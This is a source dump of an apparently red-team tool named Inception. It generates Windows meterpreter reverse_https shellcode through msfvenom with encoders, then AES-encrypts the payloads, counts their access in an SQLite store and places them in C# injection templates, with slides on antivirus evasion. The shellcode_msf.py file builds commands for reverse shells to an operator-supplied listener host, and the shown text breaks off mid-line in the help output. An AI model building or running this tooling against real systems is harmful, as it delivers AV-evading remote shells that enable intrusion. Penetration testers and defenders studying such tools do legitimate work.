├── Classes ├── Crypto_Handler.py ├── DB.py ├── Setup.py ├── Template_Builder.py ├── __init__.py └── shellcode_msf.py ├── Inception.py ├── LICENCE ├── README.md ├── RoslynLoad ├── .vs │ └── RoslynLoad │ │ ├── DesignTimeBuild │ │ └── .dtbcache │ │ └── v15 │ │ ├── .suo │ │ └── Server │ │ └── sqlite3 │ │ ├── storage.ide │ │ ├── storage.ide-shm │ │ └── storage.ide-wal ├── FodyWeavers.xml ├── RoslynLoad.sln └── RoslynLoad │ ├── App.config │ ├── Check.cs │ ├── Encrypt.cs │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── RoslynLoad.csproj │ ├── RoslynLoad.csproj.user │ └── packages.config ├── Server.py ├── SharpDump.licence ├── Slides ├── AV Slides.key └── AV Slides.pptx └── Templates ├── Custom └── SharpDump.txt └── ShellCode ├── ShellCode_Inject.txt └── ShellCode_Inject_64.txt /Classes/Crypto_Handler.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import hashlib 3 | import os 4 | from Crypto import Random 5 | from Crypto.Cipher import AES 6 | 7 | def GenerateKey(): 8 | random_data = os.urandom(128) 9 | key = hashlib.md5(random_data).hexdigest()[:16] 10 | key32 = "".join([ ' ' if i >= len(key) else key[i] for i in range(16) ]) 11 | return key32.encode('utf-8') 12 | 13 | 14 | class AESCipher: 15 | def __init__( self, key): 16 | self.key = key 17 | 18 | def encrypt( self, raw ): 19 | BS = 16 20 | pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 21 | raw = pad(raw) 22 | iv = Random.new().read(BS) 23 | cipher = AES.new(self.key, AES.MODE_CBC, iv) 24 | res = iv + cipher.encrypt( raw ) 25 | return base64.b64encode(res) 26 | 27 | def Encrypt(key, raw): 28 | crypt = AESCipher(key) 29 | return "{0}".format(crypt.encrypt(raw)) 30 | -------------------------------------------------------------------------------- /Classes/DB.py: -------------------------------------------------------------------------------- 1 | import sqlite3 2 | import os 3 | from os.path import isfile, expanduser 4 | 5 | #globals - change these if needed 6 | home = expanduser("~") 7 | db_Path = home + '/.inception/DB.sq3' 8 | 9 | #Check if the DB file esits - called from Inception.py 10 | def Check_DB_Exists(): 11 | return os.path.isfile(db_Path) 12 | 13 | #creates the payload table 14 | def Create_Schema(): 15 | db = sqlite3.connect(db_Path) 16 | cursor = db.cursor() 17 | cursor.execute(''' 18 | CREATE TABLE payload(encryption_key TEXT PRIMARY KEY, file_path TEXT unique, access_count INTEGER, allowed_access_count INTEGER) 19 | ''') 20 | db.commit() 21 | 22 | #insert a new payload record 23 | def Insert_Payload(encryption_key, file_path, allowed_access_count): 24 | db = sqlite3.connect(db_Path) 25 | cursor = db.cursor() 26 | cursor.execute(''' 27 | INSERT INTO payload (encryption_key, file_path, access_count, allowed_access_count) 28 | VALUES(?,?,?,?)''', (encryption_key, file_path, 0, allowed_access_count)) 29 | db.commit() 30 | 31 | #Increment the access_count value for a given payload 32 | def Increment_Access_count(encryption_key): 33 | db = sqlite3.connect(db_Path) 34 | cursor = db.cursor() 35 | cursor.execute('''SELECT access_count from payload WHERE encryption_key=?''',(encryption_key,)) 36 | current_count = cursor.fetchone() 37 | new_count = current_count[0] + 1 38 | cursor.execute('''UPDATE payload SET access_count = ? WHERE encryption_key = ?''', (new_count, encryption_key)) 39 | db.commit() 40 | 41 | 42 | #Get a payload entry - returns a dictionary 43 | def Get_Payload(encryption_key): 44 | db = sqlite3.connect(db_Path) 45 | cursor = db.cursor() 46 | cursor.execute('''SELECT encryption_key, file_path, access_count, allowed_access_count FROM payload WHERE encryption_key = ?''', (encryption_key,)) 47 | payload = cursor.fetchone() 48 | if payload is None: 49 | return None 50 | p = dict() 51 | p['encryption_key'] = payload[0] 52 | p['file_path'] = payload[1] 53 | p['access_count'] = payload[2] 54 | p['allowed_access_count'] = payload[3] 55 | return p 56 | 57 | #cleanup - clear the DB file 58 | def Cleanup(): 59 | db = sqlite3.connect(db_Path) 60 | cursor = db.cursor() 61 | cursor.execute('''DELETE FROM payload''') 62 | db.execute() 63 | 64 | 65 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /Classes/Setup.py: -------------------------------------------------------------------------------- 1 | import os 2 | from os.path import isdir, expanduser 3 | 4 | home = expanduser("~") 5 | path_root = home + '/.inception/' 6 | path_payload_enc = path_root + 'payloads/' 7 | path_payload_raw = path_root + 'payloads_raw/' 8 | 9 | #check the directory structure exists 10 | def Check(): 11 | check_path = os.path.isdir(path_root) 12 | check_payload = os.path.isdir(path_payload_enc) 13 | check_payload_raw = os.path.isdir(path_payload_raw) 14 | return check_path and check_payload and check_payload_raw 15 | 16 | #create the directory structure 17 | def Create(): 18 | try: 19 | if not os.path.isdir(path_root): 20 | os.makedirs(path_root) 21 | if not os.path.isdir(path_payload_enc): 22 | os.makedirs(path_payload_enc) 23 | if not os.path.isdir(path_payload_raw): 24 | os.makedirs(path_payload_raw) 25 | except: 26 | raise 27 | 28 | -------------------------------------------------------------------------------- /Classes/Template_Builder.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def BuildTemplate(shellcode, template, script_dir): 4 | try: 5 | rel_path = template 6 | abs_file_path = os.path.join(script_dir, rel_path) 7 | with open(abs_file_path, "r") as fr: 8 | file_data = ''.join(fr.readlines()) 9 | output = file_data.replace("", shellcode) 10 | return output 11 | except IOError: 12 | print("ERROR: Could not read template file from " + abs_file_path) 13 | raise 14 | 15 | 16 | def WriteFile(path, content): 17 | try: 18 | with open(path, "w") as fw: 19 | fw.write(content) 20 | fw.close() 21 | except: 22 | print("Error: Could not write data to file " + path) 23 | raise 24 | 25 | def BuildCustomTemplate(template, script_dir): 26 | try: 27 | rel_path = template 28 | abs_file_path = os.path.join(script_dir, rel_path) 29 | with open(abs_file_path, "r") as fr: 30 | file_data = ''.join(fr.readlines()) 31 | return file_data 32 | except IOError: 33 | print("ERROR: Could not read template file from " + abs_file_path) 34 | raise 35 | -------------------------------------------------------------------------------- /Classes/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/two06/Inception/a75a4839ce006e0056d7863126320f9df1f4f6b2/Classes/__init__.py -------------------------------------------------------------------------------- /Classes/shellcode_msf.py: -------------------------------------------------------------------------------- 1 | from subprocess import * 2 | 3 | def create_shellcode(msfroot, lhost, lport, arch): 4 | msfvenom_cmd = None 5 | msfvenom = msfroot + "/msfvenom" 6 | if arch == "x86": 7 | msfvenom_cmd = (msfvenom + " -p windows/meterpreter/reverse_https LHOST=" + lhost + " LPORT=" + lport + " -e x86/shikata_ga_nai -i 15 -f c") 8 | elif arch == "x64": 9 | msfvenom_cmd = (msfvenom + " -p windows/x64/meterpreter/reverse_https LHOST=" + lhost + " LPORT=" + lport + " -e x64/xor -f c") 10 | else: 11 | raise ValueError("Incorrect architecture value passed to create_shellcode.") 12 | return build_shellcode(msfvenom_cmd) 13 | 14 | def build_shellcode(msf_command): 15 | msfhandle = Popen(msf_command, shell=True, stdout=PIPE) 16 | try: 17 | shellcode = msfhandle.communicate()[0].split("unsigned char buf[] = ")[1] 18 | except IndexError: 19 | print "Error: Do you have the right path to msfvenom?" 20 | raise 21 | #put this in a C# format 22 | shellcode = shellcode.replace('\\', ',0').replace('"', '').strip()[1:-1] 23 | return shellcode 24 | 25 | 26 | -------------------------------------------------------------------------------- /Inception.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import readline 4 | import uuid 5 | from os.path import expanduser 6 | from colorama import Style, Fore 7 | from Classes.shellcode_msf import create_shellcode 8 | from Classes.Crypto_Handler import * 9 | from Classes.Template_Builder import * 10 | from Classes.Setup import * 11 | from Classes.DB import * 12 | 13 | #config 14 | msfroot = '/usr/bin' # change this as required 15 | home = expanduser("~") 16 | path_root = home + '/.inception/' 17 | path_payload_enc = path_root + 'payloads/' 18 | path_payload_raw = path_root + 'payloads_raw/' 19 | 20 | #globals 21 | menu_actions = {} 22 | 23 | #=================== 24 | #Menu Functions 25 | #=================== 26 | 27 | 28 | #header 29 | def print_header(): 30 | print(" _____ _ _ _____ ___________ _____ _____ _____ _ _ ") 31 | print("|_ _| \ | / __ \| ___| ___ \_ _|_ _| _ | \ | |") 32 | print(" | | | \| | / \/| |__ | |_/ / | | | | | | | | \| |") 33 | print(" | | | . ` | | | __|| __/ | | | | | | | | . ` |") 34 | print(" _| |_| |\ | \__/\| |___| | | | _| |_\ \_/ / |\ |") 35 | print(" \___/\_| \_/\____/\____/\_| \_/ \___/ \___/\_| \_/") 36 | print("") 37 | print("'You mean, a dream within a dream?'") 38 | print ("") 39 | 40 | def print_help(): 41 | print "Shellcode payloads use meterpreter reverse_https payloads" 42 | print "The following values are required:\n" 43 | print "lhost - the IP address of the metasploit listener" 44 | print "lport - the port to listen on" 45 | print "architecture - either x64 (for 64 bit systems) or x86 (for 32 bit systems)" 46 | print "relative path to the template file (/templates/